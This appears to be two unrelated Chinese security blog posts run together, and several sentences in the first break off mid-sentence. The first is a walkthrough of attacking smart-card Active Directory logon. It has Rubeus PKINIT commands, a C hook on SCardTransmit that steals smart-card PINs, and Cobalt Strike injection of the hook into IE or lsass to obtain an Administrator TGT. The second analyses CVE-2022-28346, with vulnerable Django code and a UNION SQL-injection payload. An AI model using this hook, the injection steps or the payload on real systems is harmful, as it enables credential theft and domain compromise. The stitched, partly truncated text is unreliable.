最近,我参与了一项攻击基于智能卡的活动目录的工作。实际上,你根本不需要使用物理智能卡来验证登录这个活动目录。证书的属性决定了它是否可以用于基于智能卡进行登录。因此,如果你能获得相应的私钥,那么就可以绕过智能卡的验证实现登录。 当用户被设置为基于智能卡进行登录时,在它的默认配置中,域控制器将接受任何由它所信任的证书授权机构签署的、符合以下规范的证书:     ● CRL的分配点不可为空、并且可用     ● 证书的密钥要使用数字签名     ● 增强型的密钥使用:        - 智能卡登录        - 客户端认证(可选,用于基于SSL的认证)     ● 包含用户UPN的主题替代名称 此外,如果启用了允许使用无扩展密钥的证书属性组策略,那么就没必要使用增强型的密钥。因为这可能会导致发给域用户或计算机的其他类型的证书。 下面是我们的具体的研究过程。 PKINIT 正如我们所知的,域内的活动目录会使用Kerberos协议来验证域名。攻击者可以使用像Rubeus、Mimikatz、Kekeo和impacket这样的工具来针对域环境进行利用。 那么,基于 PKI 的认证与 Kerberos 的认证有什么关系呢?早在 2006 年,微软和航空航天公司联合提交了 RFC 4556。这协议引入了对 Kerberos 预认证的公钥密码学的支持。 预认证方法可以防止Kerberos对账户密码进行离线暴力攻击。如果没有在AD账户上启用预认证,那么用户就容易受到AS-REP的攻击。随着预认证的引入,那么最初的AS-REQ Kerberos请求就会包含一个加密的时间戳。并且这个用来加密的密钥来自于用户的密码。这向 KDC 证明了请求登录的用户确实知道账户密码。因此,KDC就会返回一个与用户密码相关的加密的AS-REP(对AS-REQ的响应)。预认证数据包含的一个时间戳也可以防止重放攻击。如果预认证数据无效,KDC会返回一个错误,而且也不允许对AS-REP响应密钥进行暴力破解。如果一个攻击者能够在一个网络中抓取 Kerberos的响应数据包,那 基于 PKI 的认证同样也是以类似的方式进行工作。它首先会使用 Kerberos 预认证来证明用户是他们所说的那个人。同样,它也会使用一个时间戳,但不是使用用户的密码生成的密钥对信息进行加密,而是用属于证书的私钥以PKCS #7加密信息语法(CMS)的形式来签署信息。该私钥可以存储于物理智能卡上,并且也可以以其他的形式进行存储,这其中也包括不那么安全的方法。一旦KDC验证了CMS有效载荷的签名,并且一切正常,那么AS-REP就会返回给客户。PKINIT也会对AS-REP响应进行加密。因为在基于PKI的Kerberos登录过程中并没有使用密码,所以用户密钥对客户来说是未知的。为了解决这个问题,A 从这里开始,其他的一切还都保持不变。客户端将会获得一个有效的TGT,可用于申请TGS票据。并且该证书在TGT的有效期内就不再使用,在再次需要该证书的私钥之前,一般会保持7天的有效期。当然,这并不是说在Windows登录期间,私钥在7天内不会被使用。如果机器被锁定或用户已经被注销,那么Windows会像基于密码的登录那样强制进行认证。但从攻击者的角度来看,如果他们已经获得了TGT,这其实就已经不重要了。 所以这里我开始尝试在Rubeus中添加对PKINIT的支持,并创建了一个请求。 基于PKCS#12的认证(PFX) 这里我们讨论的第一个攻击场景是用户私钥泄露问题。我们可以使用一个PKCS#12证书库,我们可以使用一个用户的证书以及相应的私钥来生成一个Kerberos TGT。一旦你有了私钥blob和相应的证书,那么你就可以使用OpenSSL来生成PKCS12存储,如下所示: openssl pkcs12 -export -out leaked.pfx -inkey privateKey.key -in certificate.crt 一旦你生成了一个有效的证书存储,那么我们就可以使用Rubeus中新增加的内容来请求TGT了。如果你决定用密码来保护证书库,那么你可以在命令行中加入/password选项。 Rubeus.exe asktgt /user:Administrator /certificate:leaked.pfx /domain:hacklab.local /dc:dc.hacklab.local 然后,Rubeus将生成一个基于PKINIT的AS-REQ,使用我们所提供的证书库来验证用户。如果一切顺利,KDC就会返回数据包,那么你就应该会得到类似的输出: ______       _ (_____ \     | |   _____) )_   _| |__ _____ _   _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_|   |_|____/|____/|_____)____/(___/ v1.5.0 [*] Action: Ask TGT [*] Using PKINIT with etype rc4_hmac and subject: CN=Administrator, CN=Users, DC=hacklab, DC=local [*] Building AS-REQ (w/ PKINIT preauth) for: 'hacklab.local\Administrator' [+] TGT request successful! [*] base64(ticket.kirbi):     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 ServiceName           : krbtgt/hacklab.local ServiceRealm         : HACKLAB.LOCAL UserName             : Administrator UserRealm             : HACKLAB.LOCAL StartTime             :  02/04/2023 16:01:12 EndTime               :  03/04/2023 02:01:12 RenewTill             :  09/04/2023 16:01:12 Flags                 : name_canonicalize, pre_authent, initial, renewable, forwardable KeyType               : rc4_hmac Base64(key)           :  6tIiFytU5V2cgSpXt8skdw== 那么由此产生的 .kirbi Base64 编码字符串也可用于从 KDC中获得正常的 TGS。 在我成功地在这个工具中使用了PKINIT之后,我开始思考我们该如何使用物理智能卡做认证。一旦用户的机器受到攻击破坏,那么使用智能卡进行认证最大的问题就是密码。如果不知道PIN码,那么我们就无法生成一个有效的AS-REQ。蛮力破解是不可行的,因为进行3次无效的尝试,那么系统就会先进行账号锁定。 其中的一个思路就是,当用户需要解锁智能卡时可以尝试捕获PIN码。这主要用于机器解锁或者登录网络上其他需要智能卡认证的服务。 经过一番调查,我发现了WinSCard DLL。这个DLL是与Smard Card服务通信的网关。然后这个服务就会控制智能卡的通信。一般来说,任何与Windows上的智能卡进行通信的东西都需要使用WinSCard API。 我所研究的WinSCard.dll中最重要的函数是SCardTransmit API。这个API是用于传输智能卡ISO/IEC 7816规范中所要求的应用协议数据单元(APDU)的API。这个是最底层的传输单元,主要是用于智能卡通信。 如果我们hook这个API,那么我们应该就能够监视传送到卡上的PDU。 LONG SCardTransmit(  SCARDHANDLE         hCard,  LPCSCARD_IO_REQUEST pioSendPci,  LPCBYTE             pbSendBuffer,  DWORD               cbSendLength,  LPSCARD_IO_REQUEST  pioRecvPci,  LPBYTE              pbRecvBuffer,  LPDWORD             pcbRecvLength ); pbSendBuffer参数是向卡片发送的APDU数据包,而pbRecvBuffer则是智能卡返回的响应数据。 虽然ISO智能卡规范对某些命令类别和命令数据结构做出了限制,但这些限制通常是针对某些具体应用的,而不是由ISO智能卡规范本身定义的。并且为了满足身份访问的需求,NIST制定了个人身份验证(PIV)SP 800-73-4规范。该规范涵盖了智能卡应如何处理注册到设备上的证书,以及实现该规范的所有APU,这个不需要太多的细节。在PIV规范中最重要的是第3.2.1节VERIFY卡命令。这些内容阐述了VERIFY APDU是如何在允许访问存储在卡片上的私钥之前进行PIN的验证。 因此,有了ISO规范中的信息以及PIV规范中的3.2.1节,我们应该能够写一个hook程序来捕获传送到卡上的PIN。 DWORD WINAPI SCardTransmit_Hooked(SCARDHANDLE hCard,    LPCSCARD_IO_REQUEST pioSendPci,    LPCBYTE             pbSendBuffer,    DWORD               cbSendLength,    LPSCARD_IO_REQUEST  pioRecvPci,    LPBYTE              pbRecvBuffer,    LPDWORD             pcbRecvLength) {        char debugString[1024] = { 0 };    DWORD result = pOriginalpSCardTransmit(hCard, pioRecvPci, pbSendBuffer, cbSendLength, pioRecvPci, pbRecvBuffer, pcbRecvLength);    //Check for CLA 0, INS 0x20 (VERIFY) and P1 of 00/FF according to NIST.SP.800-73-4 (PIV) specification    if (cbSendLength >= 13 && pbSendBuffer[0] == 0 && pbSendBuffer[1] == 0x20 && (pbSendBuffer[2] == 0 || pbSendBuffer[2] == 0xff)) {        //Check card response status for success        bool success = false;        if (pbRecvBuffer[0] == 0x90 && pbRecvBuffer[1] == 0x00) {            success = true;       }        char asciiPin[9];        sprintf_s(debugString, sizeof(debugString), "Swipped VERIFY PIN: Type %s, Valid: %s, Pin: %s", GetPinType(pbSendBuffer[3]), success ? "true" : "false",            GetPinAsASCII(pbSendBuffer+5, min(pbSendBuffer[4],8), asciiPin));        SendPINOverPipe(debugString);             }    return result; } API调用做的第一件事就是调用原始的SCardTransmit函数。我们不仅需要研究数据请求,而且还要知道卡的响应数据。这样我们就可以确定传送给卡片的PIN码是否正确。然后,该函数会查找VERIFY PDU来隔离验证PIN的命令。一旦我们确定了VERIFY PDU,那么我们就可以开始检查结果,0x90 0x00都表示PIN被审核。接下来,我们可以从发送缓冲区的偏移量5(PDU结构中的命令数据)的位置处提取PIN码。最后,我们需要通过一个命名管道来传输PIN码的详细信息,然后使用数据接收程序进行捕获。 我们可以将这一功能打包到一个DLL中,该DLL也能够进行反射性加载,那么我们可以将该DLL注入到我们所研究的进程中去。 Demo 假设在存在该漏洞的情况下,并且我已经有了一个Cobalt Strike信标连接到了受害者的工作站上。我所使用的是管理员账户,但其实普通用户的账户也可以进行使用。PinSwipe DLL也可以被注入到一个高权限的进程中,如lsass,当获得管理权限时,可以在登录时刷出PIN码,但使用普通用户身份进行访问时,你将会被限制在用户模式进程中,如Internet Explorer等等。 所以首先我们需要启动PinSwipeListener,这将可以dump出智能卡登录EKU的用户证书信息。 beacon> execute-assembly C:\tools\PinSwipeListener.exe [*] Tasked beacon to run .NET program: PinSwipeListener.exe [+] host called home, sent: 112171 bytes [+] received output: [+] Found smart card logon certificate with thumbprint 55C65AB0B9B6A893A6E8449FB34DD61093B231D8 and subject CN=Administrator, CN=Users, DC=hacklab, DC=loca 有了监听器,我们就需要选择将PinSwipe.dll注入到哪些进程中。像Internet Explorer、Chrome等都是很好的选择,因为在智能卡认证的环境中,这些程序会经常弹出请求PIN的信息。在这里,我运行的是Internet Explorer,它的PID是 2678。实际上,IE和Chrome一样,为浏览器的各种标签都启动了不同的子进程。所以你需要注入一个正确的进程。同时也可以使用其他更高级的攻击脚本,不断寻找新的IE进程并注入它们。 beacon> dllinject 2678 C:\tools\PinSwipe.dll [*] Tasked beacon to inject C:\tools\PinSwipe.dll into 2678 一旦用户在对话框中输入了他们的PIN码,PinSwipe就会捕获请求并通过命名管道将其发送给PinSwipeListener。 [+] received output: [+] PinSwipe: Swipped VERIFY PIN: Type PIV Card Application, Valid: true, Pin: 123456 PinSwipe的输出除了显示输入的PIN号码外,还将显示输入的PIN是否正确。一旦你获取了PIN码,你就可以使用新的Rubeus功能来请求使用用户的物理智能卡进行TGT验证。这一次,我们可以使用/certificate参数来指定所要使用的证书的文件名。 beacon> execute-assembly C:\tools\Rubeus.exe asktgt /user:Administrator /domain:hacklab.local /dc:192.168.74.2 /certificate:55C65AB0B9B6A893A6E8449FB34DD61093B231D8 /password:123456 [*] Tasked beacon to run .NET program: Rubeus.exe asktgt /user:Administrator /domain:hacklab.local /dc:192.168.74.2 /certificate:55C65AB0B9B6A893A6E8449FB34DD61093B231D8 /password:123456 [+] host called home, sent: 357691 bytes [+] received output:   ______       _                       (_____ \     | |                       _____) )_   _| |__ _____ _   _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_|   |_|____/|____/|_____)____/(___/ v1.5.0 [*] Action: Ask TGT [+] received output: [*] Using PKINIT with etype rc4_hmac and subject: CN=Administrator, CN=Users, DC=hacklab, DC=local [*] Building AS-REQ (w/ PKINIT preauth) for: 'hacklab.local\Administrator' [+] received output: [+] TGT request successful! [+] received output: [*] base64(ticket.kirbi):     doIGAjCCBf6gAwIBBaEDAgEWooIFDzCCBQthggUHMIIFA6ADAgEFoQ8bDUhBQ0tMQUIuTE9DQUyiIjAg     oAMCAQKhGTAXGwZrcmJ0Z3QbDWhhY2tsYWIubG9jYWyjggTFMIIEwaADAgESoQMCAQKiggSzBIIEr6H1     bNWgmfBxlK7OILXLN4UcW50vCbU2ry2NA+d+VrLScEqcZBUcmv93C5DrxSRRPKXpKfyrvDc9NR5o0hR5     L21tDiNgcRJqTrg1ZnkLa79Ru5y8R8CylgLv8/aqjEmejdCIJ+uynJMYCrZPuxkeV+n3noGEKPHMK0ek     iDXz9CyteawxHlxLZQOV+NEcJ8KCV9DJQ2p/eLxFXeCDmogWVle7+tOSHie6LvqfxfeWtgMIrGBXUHBZ     ysdwqJSrFz8sJW9KCUVOLgHYvQZTkUtTsmclprvsRYYVSVY6eyRLeXPX8Ib9ewmQUrGLPazWdIWgtbei     BQV2IY+2h8o3BmsyMHOkXSkK42GwPobJo/OzJrbUDlB3+9PTyWUYukvqO2O73Hd5q9tkewx4rj+/vzNA     PwnMx+zTFFQqki5cF5R/oixISioVZi9dab+wSXSY5EH0bVyWS5G7aMBXrD0qnpiM4jiCgAAvtDEGqzSq     nS6H7BEn2c/RJVGHJDOK45lmrvmnqH1zjUzaIEAJg7OifV6KGlRbriSO3CFzOk2o4HJ9Ce2BW2OwFyoH     KzDGHrW+3jtHLgcd8Bvrt5TJpN6LOmEN3nn5LSeS0lXTJ2j9FEXuc0BOoOT+lyrBXMKVK30Ygisi17y4     j3m2QN+eFwk/TigUMXVYE0UMwMKmxu055jomdNrgSzLc0NrXT9sMIGrTOmdzOZa0LIOpVf0bb07wNy/N     to1dXNdxlU4abTBllKMypn90HFL+ygi6kTrgMyHZ8RF1u5CZv+FDnq8ksRykXfvM2av9gs4oiINeVzMr     dELTTnt4h0+mtw7QqceY53UANu3wSmyh65qAT4rrRs/dLU0D8T+0159VZxc4pvWvomZw+/v3KaMFQ3+O     cIDxFInYSn/fABW3mUZZzGFLuCUMCU9inmo6i7JVxYHOE4OcaqhJFgB3+yiJghGXq4Xsv7BWhJI7yMN7     wLf/0/epfMmbk7x6baDVsBHFe0MZXoEdRHhjcXydEVj4JqkGSawA1/lVO2TKJRj2Z5aBLOORI70/Jy76     y2ysovsvaFjefdq4ep0cRHsGMpvqlz//9i0rq5zEX3OD3kNfMcx9EwtEnfd99HMztLbhhJ8327K5fKCo     sI3iLMcjX+26O/hvvu3ssjOC3i4zmWcTtzhbPLJgLDOAKaL/qb5GMef85UFpvKx/irHysFGjiBr5IHAC     9+BFnIrE4uvd7IVfVMzq4O5VWXf4c6R2cxtfYfdtFmUUgmCrQoBji7P7fH3TP/T/0MZa/vDTv+xMgJTh     WSjXc9wnF5nuZ+5VufF6KQP6aizDYagASD7kpBCVyYU/65/0Kg6WuIl+gQWeJYiqJxQYSAV8UZoi7QX2     962Ci0xsE4XfvvsI3Grem9BTgxGoxauZWEO0jSQhyLbTHcJYoWCCG/cgKamZN2YG1J6bOpsrx8txogJS     W0zGy7tNw7pnUZyKCjx1j0TVU2BemZ/Gnwa1oX3aa7jdPGKJRMi5pg3k2Oy1RtX+ff7fuCTsBVVGMafc     LKFq4uhYtIKQYLArt4aRRAlzOWUiHBfAk1Moihn/AfACl5QwQVwoLRQtGXFjifHbSqHVJBIbxpdao4He     MIHboAMCAQCigdMEgdB9gc0wgcqggccwgcQwgcGgGzAZoAMCARehEgQQ5K2V8xIaGbUS8ZYqTl120aEP     Gw1IQUNLTEFCLkxPQ0FMohowGKADAgEBoREwDxsNQWRtaW5pc3RyYXRvcqMHAwUAQOEAAKURGA8yMDIw     MTAwNDE4NTUyOVqmERgPMjAyMDEwMDUwNDU1MjlapxEYDzIwMjAxMDExMTg1NTI5WqgPGw1IQUNLTEFC     LkxPQ0FMqSIwIKADAgECoRkwFxsGa3JidGd0Gw1oYWNrbGFiLmxvY2Fs ServiceName           : krbtgt/hacklab.local ServiceRealm         : HACKLAB.LOCAL UserName             : Administrator UserRealm             : HACKLAB.LOCAL StartTime             : 04/04/2023 19:55:29 EndTime               : 05/04/2023 05:55:29 RenewTill             : 11/04/2023 19:55:29 Flags                 : name_canonicalize, pre_authent, initial, renewable, forwardable KeyType               : rc4_hmac Base64(key)           : 5K2V8xIaGbUS8ZYqTl120Q== 那么到此结束。你现在已经有了一个TGT,并且可以在7天内申请新的TGS票,然后访问其他的网络资源。 当你在网络中使用物理智能卡时,最好的办法是拥有需要手动按键的卡,或者最好是生物识别阅读器。这样一来,对用户账户进行的任何攻击都不会产生TGT数据,因为智能卡会在没有物理按键或生物识别数据存在的情况下阻止对私钥的访问。
Django SQL注入漏洞分析(CVE-2022-28346)
漏洞简介 Django 在2022年发布的安全更新,修复了在 QuerySet 的 annotate(), aggregate(), extra() 等函数中存在的 SQL 注入漏洞。 影响版本 2.2<= Django Django <2.2.28 3.2<= Django Django <3.2.13 4.0<= Django Django <4.0.4 需要使用了 annotate 或者 aggregate 或 extra 方法 环境搭建 搭建特定版本的 django 项目 利用 pycharm 创建一个 python 项目 创建完成项目后在 Settings 中找到 Project: CVE202228346 对应的 Python Interpreter 添加存在问题的 Django 版本 在 Terminal 中执行命令,创建 django 项目 django-admin startproject CVE202228346 配置启动设置 运行后就启动了最简单的 django 项目 ‍ 编写配置漏洞代码 折腾来折腾去,出现了很多问题,一度想要放弃说直接采用 docker ,但是在不断的试错下,最终还是编写成功 因为对 python 的 django 不太熟悉,所以其中可能更多的是比较偏向于基础的操作 ‍ 进入到项目目录下创建命令 创建第一个应用 在 settings.py 中添加配置 在 urls.py 中添加 对应的 url,urls.py 相当于路由解析器,将路由解析到对应的 views.py 中对应的函数上 urlpatterns = [    path('admin/', admin.site.urls),    path('index/',views.index),    path('demo/',views.users),    path('initialize/',views.loadexampledata) ] ‍ models.py 是创建表结构的时候使用,通过类的定义,可以创建一个表 from django.db import models # Create your models here. class User(models.Model):    name = models.CharField(max_length=200)    def __str__(self):        return self.name ‍ views.py 主要定义了对应路由所响应的函数 from django.db.models import Count from django.http import HttpResponse from django.shortcuts import render from .models import User # Create your views here. def index(request):    return HttpResponse('hello world') def users(request):    field = request.GET.get('field', 'name')    user_amount = User.objects.annotate(**{field: Count("name")})    html = ""    for u in user_amount:        html += "<h3>Amoount of users: {0}</h3>".format(u)    return HttpResponse(html) def loadexampledata(request):    u = User(name="Admin")    u.save()    u = User(name="Staff1")    u.save()    u = User(name="Staff12")    u.save()    return HttpResponse("ok") 三个函数分别是 helloword 函数,往数据库中加参数,以及查询数据库中的字段 ‍ 编写好代码后,需要对数据库执行初始化操作 python manage.py makemigrations python manage.py migrate ‍ 漏洞复现 先访问 initialize 为数据库中添加信息 构造 payload http://127.0.0.1:8000/demo/?field=demo.name" FROM "demo_user" union SELECT "1",sqlite_version(),"3" -- 漏洞分析 发现一个问题,在加上断点调试以后,每次运行输出的结果跟不加断点运行的结果存在很大的差异,结果完全不同。不断尝试之后发现是因为在某些地方加上断点之后,在调试器中查看变量和状态可能会影响程序的执行速度和内存使用情况,为了方便的输出某些位置的变量,采用 print 的方法结合断点调试。 通过 get 传入的参数 field CVE202228346.demo.views.users 此处的**{field: Count("name")} 用来表示拆分字典 跟进 annotate 对传入参数的处理 django.db.models.query.QuerySet.annotate 继续将参数传入到 _annotate 进行处理 django.db.models.query.QuerySet._annotate 在将 kwargs 的值 update 到 annotations 后,调用 add_annotation 进行处理 django.db.models.sql.query.Query.add_annotation add_annotation 也是漏洞存在的关键位置,因为修复漏洞的关键位置也在此处 调用 resolve_expression 解析表达式 django.db.models.aggregates.Aggregate.resolve_expression django.db.models.expressions.Func.resolve_expression django.db.models.expressions.F.resolve_expression django.db.models.sql.query.Query.resolve_ref 最后我们可以看到 clone 对应的值 以及执行的 SQL 语句 整个漏洞分析下来,仍然有很多不太清楚的地方,可能再分析几个关于 Django 的漏洞会好一些 ‍ 漏洞修复 在 add_annotation 添加了 check_alias 来对传入的参数进行校验